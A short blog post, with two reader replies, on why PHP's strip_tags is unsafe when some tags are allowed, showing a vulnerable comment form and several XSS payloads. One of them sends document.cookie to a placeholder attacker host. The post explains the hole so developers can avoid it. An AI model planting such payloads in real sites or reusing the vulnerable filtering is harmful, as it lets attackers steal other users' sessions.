How safe strip_tags is?

Many developers rely on strip_tags to validate user input, and, although the function does a good job when removing all the html tags, there are some security issues when you want to leave some of them (like <a> or <img>).
That is because, although you removed all the <script> tags from the input, that doesn’t mean that a malicious user cannot enter javascript code embeded into <a> tag using html events.

PHP team know about this problem and display this warning on their manual:

This function does not modify any attributes on the tags that you allow using allowable_tags, including the style and onmouseover attributes that a mischievous user may abuse when posting text that will be shown to other users.

Let’s see what happen with the following code:

<form action="#" method="POST">
Username: <br>
<input type="text" name="realname"><br>
<br>
Comment: <br>
<textarea name="comment" rows="15" cols="50"></textarea><br><br>
<input type="submit" name="Add" value="Add">
</form>
<?php
if ($_POST['Add']=='Add'){
	//Allow a and br in comments
	$username = strip_tags($_POST['username']);
	$comment = strip_tags($_POST['comment'],"<a><br>");
	echo "Name: ".$username."<br>";
	echo "Comment: ".$comment;
}
?>

Now, what if your user enter in the comment field something like:

Have you seen my <a href="#" onclick="javascript:alert('xss hack');">site</a> ?

or even something more dangerous like

<a href='#' onmouseover='javascript:window.location.href="http://attacker-site/?cookie="+document.cookie;'>roll over</a> me

the attacker will be able to steal sensitive cookies from other users, like username, php session id and so.

Removing all the atributes, beside href won’t help much, because the attacker could write something like:

<a href="javascript:alert('xss attack');return false;">My site</a>

So, if you want to validate user input allowing certain html tags, don’t put your trust only on strip_tags.

No related posts.

2 Responses to “How safe strip_tags is?”

  1. Nico says:

    Well, using $_SERVER['PHP_SELF'] in your action attribute isn’t much more secure either. It’s vulnerable to XSS attacks too…

  2. dan says:

    You’re right. I was too concerned about the problems with strip_tags that i forgot about $_SERVER['PHP_SELF'] problem.

Leave a Reply